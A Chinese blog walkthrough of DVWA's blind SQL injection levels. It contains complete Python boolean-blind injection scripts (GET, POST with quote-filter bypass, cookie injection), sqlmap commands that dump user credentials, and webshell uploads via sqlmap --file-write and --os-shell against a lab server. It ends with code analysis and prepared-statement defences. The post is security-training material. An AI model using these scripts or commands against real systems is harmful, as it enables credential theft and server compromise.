DVWA通关--SQL盲注(SQL Injection(Blind))

最新推荐文章于 2024-03-04 16:48:45 发布
最新推荐文章于 2024-03-04 16:48:45 发布
阅读量1.7k 收藏 10
点赞数 1
分类专栏： # 注入 dvwa 文章标签： 网络安全 python mysql sql盲注 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/elephantxiang/article/details/113060926
版权
注入 同时被 2 个专栏收录
22 篇文章 17 订阅
订阅专栏
dvwa
10 篇文章 5 订阅
订阅专栏

本文所有代码可以通过JacquelinXiang/sqli_bool: A simple tool/framework for boolean-based sql injection(GET/POST/COOKIE) (github.com)下载，README中有使用方法。

本文内容未经允许不可转载，其他原创文章也是。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

目录

LOW

通关步骤

代码分析

MEDIUM

通关步骤

代码分析

HIGH

通关步骤

代码分析

IMPOSSIBLE

代码分析

LOW

通关步骤

1、观察页面返回的信息：

输入1，按Submit之后返回User ID exists in the database.

输入6，按Submit之后返回User ID is MISSING from the database.

以上现象说明输入正确的值会返回User ID exists in the database，如果输入错误的值会返回User ID is MISSING from the database。

2、找闭合

输入1'，按Submit之后返回User ID is MISSING from the database.

输入1''，按Submit之后返回User ID exists in the database

说明闭合是单引号。

3、爆库

接下来如果用纯手工注入就太慢啦，写了个python脚本来完成爆库

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(GET)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind"               #有可利用漏洞的url，根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部，根据实际情况填写
cookies={"security": "low", "PHPSESSID": "07bucms1va26di95pntpl9qm57"}          #单个cookie的情况可以直接写在headers中，两个cookie的情况要用字典形式的cookies参数
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'User ID exists in the database'                                        #用于判断附加sql语句为真的字符，根据网页回显填写

def CurrentDatabaseGET():
    n = 10                                                                      #预测当前数据库名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1' and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)     #GET方法发送含payload的request
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1' and length(database())="+str(i)+"-- ss"
                param = {
                "id":payload2,
                "Submit":"Submit",
                }
                response = requests.get(url, params = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload3,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def TablesGET():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                "Submit":"Submit",
                }
                response = requests.get(url, params = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload6,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))


def ColumnsGET(table):                                                          #table参数是需要爆破的数据表名称，记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))>"+str(j)+"-- ss"
            param = {
            "id":payload7,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))="+str(i)+"-- ss"
                param = {
                "id":payload8,
                "Submit":"Submit",
                }
                response = requests.get(url, params = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"'),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload9,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def ContentGET(table,col1,col2):                                                #table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                "Submit":"Submit",
                }
                response = requests.get(url, params = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            param = {
            "id":payload12,
            "Submit":"Submit",
            }
            response = requests.get(url, params = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

运行之后结果如下，^是分隔用户名和密码的分隔符，密码拿到md5在线解密破解,md5解密加密 (cmd5.com)解密一下就行

注意，由于服务器是windows系统，而windows系统是大小写不敏感的，所以才会爆破结果中的字母都是大写的。

4、使用sqlmap爆库

用sqlmap爆库其实和 DVWA通关--SQL注入(SQL Injection)_箭雨镜屋-CSDN博客_dvwa sql注入通关 中写的没什么不同，不过知道需要布尔盲注的情况下，也可以为sqlmap提供点便利，通过增加--technique参数指定注入技术，B表示布尔盲注。

下面的命令可以得到系统中所有数据库

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --dbs

如果要爆库可以依次用以下命令

当前数据库

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --current-db    

dvwa数据库所有表

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --tables -D dvwa

dvwa数据库users表所有列

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --columns -D dvwa -T users

dvwa数据库users表user和password列内容

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --dump -D dvwa -T users -C "user,password"

最终结果

5、使用sqlmap传马

如果不知道网站绝对路径，可以先用下面的方法猜一下

获得sql shell

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --sql-shell

获得数据库绝对路径

sql-shell>  select @@datadir

可以猜测网站根目录可能是C:\phpstudy_pro\WWW\dvwa\

得到根目录之后可以尝试传马

（1）方法1：-file-write

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=434snj2pt58c6hmb5ojinsqi50" --technique B -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"

webshell上传成功

服务器上可以看到写入的文件，比原始文件多了 admin    admin

连接成功

（2）方法2：--os-shell

python sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=8qtjtspq8nt3rhen72m5e4msd7" --technique B --os-shell

返回的结果是没成功，但是我看服务器上虽然后门没传上去，上传文件用的那个php文件倒是传上去了，问题是一来sqlmap报了错，我们不登陆服务器就不知道这文件传上去了 ，二来这文件名也是有一定随机性的，sqlmap报错就不告诉我们这个文件的名字了。

至于为什么会传马失败，我后来换到SQL Injection关卡low关发现，同样环境下这关是可以传马成功的，于是我对比了两关的代码，结合sqlmap返回的信息中有404 page not found，我觉得应该是本关代码中的“header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );”这句起到了作用。把这句注释掉之后，果然，sqlmap传马成功。

代码分析

简单看一下本关代码，由于用户传入的id参数可以被当作sql语句执行，导致了sql注入漏洞。不过比起SQL Injection关卡low关稍微好点的是，对用户屏蔽了数据库错误信息，另外，就像刚刚说的那样，19行对sqlmap传马也起到了一些干扰。

MEDIUM

通关步骤

1、观察页面

仔细一瞅，这关前端有限制，只能选数字1~5，而且提交表单的方式不是GET

burpsuite抓个包，send to repeater

发送前端限制内的数字试一下，返回User ID exists in the database

发送前端限制外的数字试一下，返回User ID is MISSING from the database

财富密码获取成功，可以开搞了

2、找闭合

id=1'时id=1''时id=1"时id=1""时全都返回User ID is MISSING from the database，估摸着不但闭合不是引号，而且引号还被过滤了。

id=6 or 1=1-- s时返回User ID exists in the database，可以判断id可注入，并且不需要闭合。

3、爆库

这关也写了个python脚本，特点是POST方法提交表单，多cookie，引号过滤绕过

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(POST，with Single quotes filtering bypass)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests
import binascii

url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/"               #有可利用漏洞的url，根据实际情况填写
headers={ 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",  
    }    #http request报文头部，根据实际情况填写
cookies={"security": "medium", "PHPSESSID": "07bucms1va26di95pntpl9qm57"}          #单个cookie的情况可以直接写在headers中，两个cookie的情况要用字典形式的cookies参数
 
keylist = [hex(i) for i in range(33, 127)]                                     #十六进制ASCII，包括数字、大小写字母、可见特殊字符
flag = 'User ID exists in the database'                                        #用于判断附加sql语句为真的字符，根据网页回显填写

def CurrentDatabasePOST():
    n = 10                                                                      #预测当前数据库名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1 and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            param = {
            "id":payload1,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)     #POST方法发送含payload的request
            #print(response.request.body)
            #print(response.request.headers)
            #print(response.text)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1 and length(database())="+str(i)+"-- ss"
                param = {
                "id":payload2,
                "Submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1 and substring(database(),"+str(i)+",1)="+c+"-- ss"
            param = {
            "id":payload3,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                db = db+chr(int(c,16))                            #把十六进制ascii转换为十进制ascii，再转换为字符
                break
    print("the name of current database is "+str(db))
    
def TablesPOST():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1 and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            param = {
            "id":payload4,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1 and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                param = {
                "id":payload5,
                "Submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1 and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)="+c+"-- ss"
            param = {
            "id":payload6,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                tname = tname+chr(int(c,16))
                break
    print("the name of all tables in current database is "+str(tname))


def ColumnsPOST(table):                                                         #table参数是需要爆破的数据表名称，记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    table = binascii.b2a_hex(table.encode())
    table = table.decode('ascii')                                         #这两步把table从str转换为十六进制ascii
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1 and (length((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload7,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1 and (length((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload8,
                "Submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1 and substr((select group_concat(column_name) from information_schema.columns where table_name = 0x"+table+"),"+str(i)+",1)="+c+"-- ss"
            param = {
            "id":payload9,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                cname = cname+chr(int(c,16))
                break
    print("the name of all columns in current table is "+str(cname))

def ContentPOST(table,col1,col2):                                               #table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str() 
    
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1 and (length((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            param = {
            "id":payload10,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1 and (length((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+")))="+str(i)+"-- ss"
                param = {
                "id":payload11,
                "Submit":"Submit",
                }
                response = requests.post(url, data = param, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1 and substr((select group_concat(concat("+col1+",0x5E,"+col2+")) from "+table+"),"+str(i)+",1)="+c+"-- ss"
            param = {
            "id":payload12,
            "Submit":"Submit",
            }
            response = requests.post(url, data = param, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                content = content+chr(int(c,16))
                break
    print("the content is "+str(content))

运行结果如下

4、sqlmap爆库

没啥好说的，和 DVWA通关--SQL注入(SQL Injection)_箭雨镜屋-CSDN博客_dvwa sql注入通关 差不多，先把之前提到的burpsuite抓到的报文copy to file，然后用sqlmap跑，可以和上一关一样加个 --technique B

获得当前数据库：

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B --current-db

获得dvwa数据库所有表：

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -D dvwa --tables 

获得dvwa数据库users表的所有列：

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -D dvwa -T users --columns 

获得dvwa数据库users表user和password列所有内容：

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -D dvwa -T users -C "user,password" --dump

最终运行结果

5、sqlmap写马

根据DVWA通关--SQL注入(SQL Injection)_箭雨镜屋-CSDN博客_dvwa sql注入通关的medium关卡的写马结果，引号被过滤的时候，恐怕两种sqlmap写马方法都是没法成功写入webshell的，这里简单尝试一下。

（1）方法1：-file-write

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"

写马失败

（2）方法2：--os-shell

python2 sqlmap.py -r "E:\渗透测试学习资料\dvwa\sqli\mb.txt" --technique B --os-shell

命令行提示写马失败，并且服务器上也没有发现webshell文件

 果然，引号被过滤之后，-file-write和--os-shell两种写马方式全军覆没

代码分析

这关代码的主要特点在第6行，用mysqli_real_escape_string()函数转义了参数id中的特殊字符（NUL（ASCII 0）、\n、\r、\、'、" 和 Control-Z）。

可以看到，这种方法并不能阻止sql注入攻击。

HIGH

通关步骤

1、观察页面：

点一下绿色的here to change your ID，会弹出一个框框，这关的特点是在弹出的页面输入，在原始的页面输出

 分别输入数字1和数字7，观察页面返回结果发现和前两关一样，输入正确的值会返回User ID exists in the database，输入错误的值会返回User ID is MISSING from the database。

在burpsuite上查看刚刚抓的包，发现下面两个request报文是成对出现的

 /dvwa/vulnerabilities/sqli_blind/cookie-input.php报文的请求内容中的id会变成/dvwa/vulnerabilities/sqli_blind/报文的Cookie头的一部分。

 所以这关虽然花里胡哨的，其实并不难，注入点在/dvwa/vulnerabilities/sqli_blind/报文的Cookie头中。

2、找闭合

burpsuite中把/dvwa/vulnerabilities/sqli_blind/报文send to repeater

发送id=1'，返回User ID is MISSING from the database

发送id=1''，返回User ID exists in the database

这关闭合是单引号

 3、爆库

这关也写了python小工具来辅助手工注入，特点是GET型，多个cookie，注入点在cookie。

由于本关代码耍了点滑头，这个脚本在本关的运行效率不好，执行的时候要多点耐心，等久一点。。。其实有想过脚本提效方案，打算用多线程的方式提升爆破效率，每一位字符的每一次爆破尝试都设置一个线程。但是由于对线程编程不熟悉，遇到了暂时不知道怎么解决的问题，先留个坑。

#!/usr/bin/python3
# coding=utf-8

"""
functions for boolean-based sql injection(Injection point in Cookie)

:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""

import requests

url = "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/"               #有可利用漏洞的url，根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部，根据实际情况填写
cookies={"security": "high", "PHPSESSID": "sk6mip6o4ppps8njqienih5e02"}          #单个cookie的情况可以直接写在headers中，两个cookie的情况要用字典形式的cookies参数
 
keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'User ID exists in the database'                                        #用于判断附加sql语句为真的字符，根据网页回显填写

def CurrentDatabaseCOOKIE():
    n = 10                                                                      #预测当前数据库名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2 
    length = 0
    db = str()
    while True:
        if j>k and j<n and j-k>3:
            payload1 = "1' and length(database())>"+str(j)+"-- ss"           #所有payload根据实际情况填写
            cookies["id"] = payload1                                         #cookie增加包含payload的键值对
            response = requests.get(url, headers = headers, cookies = cookies)     #GET方法发送含payload的request，payload在cookie中
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload2 = "1' and length(database())="+str(i)+"-- ss"
                cookies["id"] = payload2
                response = requests.get(url, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload3 = "1' and substring(database(),"+str(i)+",1)='"+c+"'-- ss"
            cookies["id"] = payload3
            response = requests.get(url, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                db = db+c
                break
    print("the name of current database is "+str(db))
    
def TablesCOOKIE():
    n = 100                                                                     #预测当前数据库中所有表名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    tname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload4 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))>"+str(j)+"-- ss"
            cookies["id"] = payload4
            response = requests.get(url, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload5 = "1' and (length((select group_concat(table_name) from information_schema.tables where table_schema = database())))="+str(i)+"-- ss"
                cookies["id"] = payload5
                response = requests.get(url, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all tables in current database contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload6 = "1' and substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),"+str(i)+",1)='"+c+"'-- ss"
            cookies["id"] = payload6
            response = requests.get(url, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                tname = tname+c
                break
    print("the name of all tables in current database is "+str(tname))

 
def ColumnsCOOKIE(table):                                                       #table参数是需要爆破的数据表名称，记得加单引号
    n = 200                                                                     #预测某个表所有列名称最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    cname = str()
    while True:
        if j>k and j<n and j-k>3:
            payload7 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))>"+str(j)+"-- ss"
            cookies["id"] = payload7
            response = requests.get(url, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload8 = "1' and (length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"')))="+str(i)+"-- ss"
                cookies["id"] = payload8
                response = requests.get(url, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the name of all columns in current table contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload9 = "1' and substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"'),"+str(i)+",1)='"+c+"'-- ss"
            cookies["id"] = payload9
            response = requests.get(url, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                cname = cname+c
                break
    print("the name of all columns in current table is "+str(cname))

def ContentCOOKIE(table,col1,col2):                                             #table参数是需要爆破的数据表名称，col1和col2是需要爆破内容的列，记得都要加单引号
    n = 200                                                                     #预测期望获取的数据的最大可能的长度，根据实际情况填写
    k = 0
    j = n//2
    length = 0
    content = str()
    while True:
        if j>k and j<n and j-k>3:
            payload10 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))>"+str(j)+"-- ss"
            cookies["id"] = payload10
            response = requests.get(url, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                n=n
                k=j
            else:
                k=k
                n=j
            j=(n-k)//2
        elif j-k==3 or j-k<3:
            for i in range(k-1,n+2):
                payload11 = "1' and (length((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+")))="+str(i)+"-- ss"
                cookies["id"] = payload11
                response = requests.get(url, headers = headers, cookies = cookies)
                if response.text.find(flag) != -1:
                    length = i
                    break
            break
        else:
            break
    print("the content contains "+str(length)+" characters")
    
    for i in range(1,length+1):
        for c in keylist:
            payload12 = "1' and substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+table+"),"+str(i)+",1)='"+c+"'-- ss"
            cookies["id"] = payload12
            response = requests.get(url, headers = headers, cookies = cookies)
            if response.text.find(flag) != -1:
                content = content+c
                break
    print("the content is "+str(content))

运行结果

4、sqlmap爆库

这关使用sqlmap主要注意要比low关增加一个参数--level 2，这样才会检测cookie中是否包含注入点（默认--level 1，不检测cookie）

当前数据库：

python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --current-db

dvwa数据库所有表：

python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --tables -D dvwa

dvwa数据库users表所有列：

python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --columns -D dvwa -T users

dvwa数据库users表user和password列所有内容：

python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --dump -D dvwa -T users -C "user,password"

最终结果

 5、sqlmap写马

（1）方法1：-file-write

python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 -file-write "E:\渗透测试学习资料\dvwa\file upload\sh.php" --file-dest "C:/phpstudy_pro/WWW/dvwa/shi.php"

传马成功

服务器上的文件和low关是一样的内容

 

 （2）方法2：

python2 sqlmap.py -u "http://192.168.101.16/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=9ri4kv8v0ocv854srh0qmuqp54" --technique B --level 2 --os-shell

结果和low关一样，也是命令行返回失败，实际上传文件的shell已经上传成功。

代码分析

和low关相比其实也没有多高明的改变，改变参数的获取途径并没有什么明显效果。

稍微有点用的是17~21行，如果查询结果为0行，则会随机等待几秒再返回结果。就是这里让我的脚本和sqlmap的执行效率都比前两关要慢。

但。。这种方法在真实网站真的实用吗？

况且也没有防住sql注入

IMPOSSIBLE

代码分析

最后看看课代表的答案

仅考虑sql注入防御的话，13~15行使用预编译语句防止了sql注入。

使用预编译语句的原理是，在用户数据带入sql语句之前就编译sql语句，这样用户数据就不会被当成sql语句的一部分去执行。

 

仙女象
关注
  • 1
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
